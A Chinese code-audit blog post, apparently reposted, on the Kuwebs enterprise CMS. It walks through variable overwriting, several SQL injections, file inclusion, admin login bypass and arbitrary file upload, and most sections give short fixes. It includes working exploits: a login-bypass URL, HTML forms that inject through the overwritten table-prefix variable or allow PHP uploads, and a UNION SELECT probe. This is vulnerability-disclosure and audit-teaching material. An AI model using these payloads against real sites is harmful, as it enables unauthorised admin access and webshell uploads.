来源:自学PHP网 时间:2015-04-17 11:59 作者: 阅读:次
[导读] 先来个介绍:酷纬企业网站管理系统是酷纬信息(www.kuwebs.com)开发的为企业网站提供一揽子解决方案的营销型网站系统,后台采用PHP+Mysql架构,内置企业简介模块、新闻模块、产品模块、...
先来个介绍: 酷纬企业网站管理系统是酷纬信息(www.kuwebs.com)开发的为企业网站提供一揽子解决方案的营销型网站系统,后台采用PHP+Mysql架构,内置企业简介模块、新闻模块、产品模块、图片模块、下载模块、在线留言模块、常见问题模块、友情链接模块。前台采用DIV+CSS,遵循SEO标准,通过模板或者定制为企业提供专业的营销型网站。
19万。。。
代码审计推荐工具:Seay PHP代码审计工具2012终结版 下载地址:http://www.2cto.com/soft/201211/35390.html
作者:Seay 博客:http://www.cnseay.com/
本文及EXP下载: 部分漏洞列表: 一、变量覆盖漏洞 二、发表留言处盲注 三、在线应聘处盲注 四、getIP()函数鸡肋注入 五、文件包含漏洞 六、变量覆盖,注入满天飞之后台绕过登陆多种方法 七、任意文件上传漏洞 八、在线反馈注入漏洞 无限注入。。。 任意文件删除。。。 任意文件下载。。。 无限。。。。
一、变量覆盖漏洞 看首页文件index.php 一开始就包含‘inc/common.inc.php’ 跟进去看看。
<?php require_once ’inc/common.inc.php’; //加载系统公共函数和系统的前台配置文件
if(2 == $kuWebsiteHTMLStartType) { //echo $kuHttpPath.’index_’.$kuWebsiteDefauleIndexLanguage.$kuWebsiteTempHTMLType; $content = @file_get_contents($kuHttpPath.’index_’.$lang.transferHTMLType($kuWebsiteHTMLType)); if(!empty($content)) { echo $content; exit; } }
‘inc/common.inc.php’ 和admin\inc\common.inc.php看到了一段经典代码,变量覆盖
$_POST = filterChar($_POST); $_GET = filterChar($_GET); $_COOKIE = filterChar($_COOKIE);
if(!ini_get(‘register_globals’)) { @extract($_COOKIE, EXTR_SKIP); @extract($_FILES, EXTR_SKIP); }
foreach(array(‘_COOKIE’, ’_POST’, ’_GET’) as $_request) { foreach($$_request as $_key => $_value) { $key{0} != ’_' && $$_key = daddslashes($_value); } }
修复:不要懒着定义变量,想省点事注册变量就把这段代码丢前面一点
二、发表留言处盲注 message/add.php 文件
<?php require_once ’../inc/common.inc.php’; $kuMessageBackSendUrl = $kuHttpPath.”message/index.php?lang={$kuWebsiteCurrLanguage}&menuid={$menuid}&page=1″;
$strSql = ”select id, menutitle from {$configTableHead}menu where fatherid={$menuid} and lang=’{$kuWebsiteEditVersionLanguage}’;”; $result = $dbInstance->query($strSql); while($row = $dbInstance->fetchArray($result)) { $secondMenuNav[] = $row; }
$menuid 无单引号压力。
修复:单引号
三、在线应聘处盲注 /job/resume.php 文件 第40行
$arrMenuInfo = getMenuIdInfo($menuid); $topMenuId = ”; if(count($kuMenuList[$kuProductShow['type3']]))$topMenuId = $arrMenuInfo['type3']; else if(count($kuMenuList[$kuProductShow['type2']]))$topMenuId = $arrMenuInfo['type2']; else if(count($kuMenuList[$kuProductShow['type1']]))$topMenuId = $arrMenuInfo['type1'];
getMenuIdInfo($menuid) 我们跟进看一下 在\inc\commonfunc.inc.php文件 435行
function getMenuIdInfo($id) { if(” == $id || 0 > $id)return; global $configTableHead, $kuWebsiteCurrLanguage, $dbInstance; $strSql = ”select id, fatherid from {$configTableHead}menu where id={$id};”; $row1 = $dbInstance->getOne($strSql);
看到带入了数据库,同样的无单引号压力注入
修复:单引号
五、getIP()函数鸡肋注入
\inc\commonfunc.inc.php 文件和 admin/inc/commonfunc.inc.php
function getIP() { if (getenv(“HTTP_CLIENT_IP”) && strcasecmp(getenv(“HTTP_CLIENT_IP”), ”unknown”)) {$ip = getenv(“HTTP_CLIENT_IP”);} else if (getenv(“HTTP_X_FORWARDED_FOR”) && strcasecmp(getenv(“HTTP_X_FORWARDED_FOR”), ”unknown”)) {$ip = getenv(“HTTP_X_FORWARDED_FOR”); } else if (getenv(“REMOTE_ADDR”) && strcasecmp(getenv(“REMOTE_ADDR”), ”unknown”)) {$ip = getenv(“REMOTE_ADDR”); } else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], ”unknown”)){$ip = $_SERVER['REMOTE_ADDR']; } else {$ip = ”unknown”; } return($ip); }
经常出现的一个问题,木有过滤,无视GPC,HTTP_CLIENT_IP我们可控,导致注入,蛋疼这个函数只在后台调用了几次。登陆处有调用,但是木用。
修复:验证IP地址格式
五、文件包含漏洞 在admin//index.php 文件
<?php session_start(); //开启session require_once(‘inc/common.inc.php’); if(!empty($menu) && !empty($path)) //入口参数的判定 { if(‘php’ == fileExt($menu)) //判断menu是否PHP文件 { include_once($path.’/’.$menu); } else { include_once($path.’/’.$menu.’.inc.php’); } exit; } include_once(‘inc/logincheck.php’); //管理员登陆模块的加载 include_once(‘template/’.$adminTemplateName.’/index.html’); //加载后台index.html静态页面 ?>
接收到参数,包含了再判断有木有登陆,晚了,结合它的变量覆盖,$menu 和 $path我们都可控,直接包含。 修复:敢不敢别这么包含文件
六、变量覆盖,注入满天飞之后台绕过登陆多种方法 绕过登陆一、 我们先看他的验证登陆的文件admin/inc/logincheck.php <?php session_start(); require_once(‘common.inc.php’); $adminId = $_SESSION['adminid']; $adminUser = $_SESSION['adminuser']; $adminPassword = $_SESSION['adminpassword'];
$strSql = ”select id, adminuser, adminpassword from {$configTableHead}admin where adminuser = ’{$adminUser}’ and adminpassword = ’{$adminPassword}’;”; $row = $dbInstance->getOne($strSql); if(1 > $row['id']) { promptMessage(“index.php?lang={$kuWebsiteEditVersionLanguage}&path=login&menu=login”, $promptNonLogin, $configJumpTime); exit; }
?>
$configTableHead 变量我们可覆盖哦,有问题,直接覆盖注入 EXP: http://www.cnseay.com/admin1/left.php?lang=cn&configTableHead=kuwebs_admin limit 1%23 seay
绕过登陆二、
我们再看看登陆的文件Admin/login/login_action.inc.php 文件104行$configTableHead 变量
else if(“” == $action) { $userName = trim($_POST['username']); $password = $_POST['pass']; $checkCode = trim($_POST['checkCode']); if(empty($checkCode) || $_SESSION["code"] != $checkCode) { promptMessage(“index.php?lang={$kuWebsiteEditVersionLanguage}&path=login&menu=login”, $promptEmptyCheckCode, $configJumpTime, $adminHttpImgPath, $kuLanguage); exit; } if(1 > strlen($userName) || 1 > strlen($password)) { promptMessage(“index.php?lang={$kuWebsiteEditVersionLanguage}&path=login&menu=login”, $promptEmptyLogin, $configJumpTime); exit; } $userPassword = CommTool::encryptMd5($password, $configEncryptTimes); $strSql = ”select id, adminuser, adminpassword from {$configTableHead}admin where adminuser = ’$userName’ and adminpassword = ’$userPassword’;”; $row = $dbInstance->getOne($strSql); if(1 > $row['id']) { promptMessage(“index.php?lang={$kuWebsiteEditVersionLanguage}&path=login&menu=login”, $promptLoginFail, $configJumpTime); exit; } else { $_SESSION['adminid'] = $row['id']; $_SESSION['adminuser'] = $row['adminuser']; $_SESSION['adminpassword'] = $row['adminpassword']; if($configIsLog)CommTool::writeLog(“”); if($configIsLog)CommTool::writeLog(“{$_SESSION['adminuser']} login to system”); $adminmodifyip = getIP(); $strSql = ”update {$configTableHead}admin set regtime=’{$nowTime}’, adminmodifyip=’{$adminmodifyip}’ where id={$_SESSION['adminid']}”; if($dbInstance->query($strSql)) { promptMessage($adminHttpPath.’index.php’, $promptLoginSuccess, $configJumpTime); exit; } else { $_SESSION['adminid'] = ”; $_SESSION['adminuser'] = ”; $_SESSION['adminpassword'] = ”; promptMessage(“index.php?lang={$kuWebsiteEditVersionLanguage}&path=login&menu=login”, $promptLoginUpdateFail, $configJumpTime); exit; } }
很明显的,本来我们可以利用前面的变量覆盖来覆盖$configTableHead再注入,绕过登陆, 蛋疼的后面 $strSql = ”update {$configTableHead}admin set regtime=’{$nowTime}’, adminmodifyip=’{$adminmodifyip}’ where id={$_SESSION['adminid']}”; if($dbInstance->query($strSql)) { promptMessage($adminHttpPath.’index.php’, $promptLoginSuccess, $configJumpTime); exit; } else { $_SESSION['adminid'] = ”; $_SESSION['adminuser'] = ”; $_SESSION['adminpassword'] = ”;
记录管理登陆日志,这个不跟前面的注入复合,又回滚了session,原本登陆了就又消失了。
不过我们往上看一点。第16行开始 else if(“relogin” == $action) { $oldAdminUser = $_SESSION['adminuser']; $_SESSION['adminid'] = ”"; $_SESSION['adminuser'] = ”"; $_SESSION['adminpassword'] = ”"; $userName = trim($_POST['username']); $password = $_POST['pass']; if($configIsLog)CommTool::writeLog(“$oldAdminUser Exit. Change into $userName to login”); if(1 > strlen($userName) || 1 > strlen($password)) { promptMessage(“index.php?lang={$kuWebsiteEditVersionLanguage}&path=login&menu=login”, $promptNonLogin, $configJumpTime); exit; } $userPassword = CommTool::encryptMd5($password, $configEncryptTimes); $strSql = ”select id, adminuser, adminpassword from {$configTableHead}admin where adminuser = ’$userName’ and adminpassword = ’$userPassword’;”; $row = $dbInstance->getOne($strSql); if(1 > $row['id']) { if($configIsLog)CommTool::writeLog(“{$_SESSION['adminuser']} login to system failed”); promptMessage(“index.php?lang={$kuWebsiteEditVersionLanguage}&path=login&menu=login”, $promptLoginFail, $configJumpTime); exit; } else { $_SESSION['adminid'] = $row['id']; $_SESSION['adminuser'] = $row['adminuser']; $_SESSION['adminpassword'] = $row['adminpassword']; if($configIsLog)CommTool::writeLog(“{$_SESSION['adminuser']} login to system Success”); promptMessage(“index.php”, $promptLoginSuccess, $configJumpTime); exit; }
很明显,这里没有回滚session,那我们就可以覆盖$configTableHead变量来注入绕过登陆了
EXP:
<html> <head> <title>www.cnseay.com</title> </head> <body> <form name=”form1″ method=”post” action=”http://www.cnseay.com/admin1/index.php?lang=cn&path=login&menu=login_action&action=relogin”> <input name=”username” type=”hidden” value=”admin” /> <input name=”pass” type=”hidden” value=”admin” /> <input name=”configTableHead” type=”hidden” value=”kuwebs_admin limit 1# 1″ /> <input type=”submit” value=”登 陆“> </form> </body> </html>
把www.cnseay.com/admin1修改成网站后台地址,点击登陆即可。 当然绕过的方法不止这些,还有比如覆盖数据库连接字符的等等。
修复:不多说。。。
八、任意文件上传漏洞
像这种变量覆盖的,基本都有任意文件上传。 看到admin/uploadfilesave.php 文件木有验证登陆权限,再看72行 $downloadurl=upload(‘imgurl’, $kuWebsiteAllowUploadFileFormat);
看看upload函数 function upload($form, $fileFormat) { global $promptIncludeDirUploadFileCanNotWrite, $promptIncludeDirCorrectUploadFileFormat, $promptIncludeDirCopyUploadFileError; if (is_array($form)) { $filear = $form; } else { $filear = $_FILES[$form]; } /..省略./ if ($fileFormat != ”" && !in_array(strtolower($ext), explode(“|”, strtolower($fileFormat))))
可见我们只要覆盖$kuWebsiteAllowUploadFileFormat 变量即可上传任意文件。
直接给出EXP: <form name=”form1″ enctype=”multipart/form-data” method=”post” action=”http://www.cnseay.com/admin/include/uploadfilesave.php?action=add”> <input type=”file” name=”imgurl”> <input type=”hidden” name=”kuWebsiteAllowUploadFileFormat” value=”php|asp|aspx”> <input type=”submit” name=”Submit” value=”日“> </form>
修复:不多说。。。
八、在线反馈注入漏洞 看到文件plus/feedback.php 105行 $strSql = ”select * from {$configTableHead}{$fType} where id={$objectid}”; 同样无单引号压力 测试: http://localhost/kuwebs/plus/feedback.php?feedbacktype=1&objectid=1 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16
无限注入: 这种注入还有不少,比如admin/menu/menu_modify.inc.php文件等 $strFather = ”select * from {$configTableHead}menu where id={$fatherId};”; 就不列那么多了。
修复:单引号。。。
变量覆盖是个大问题啊,容易导致二次利用的漏洞,上面说的任意文件删除什么的,自己到后台黑盒看看就知道了。
暂时先看到这里了,问题太多,等修复了再看看吧。 |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com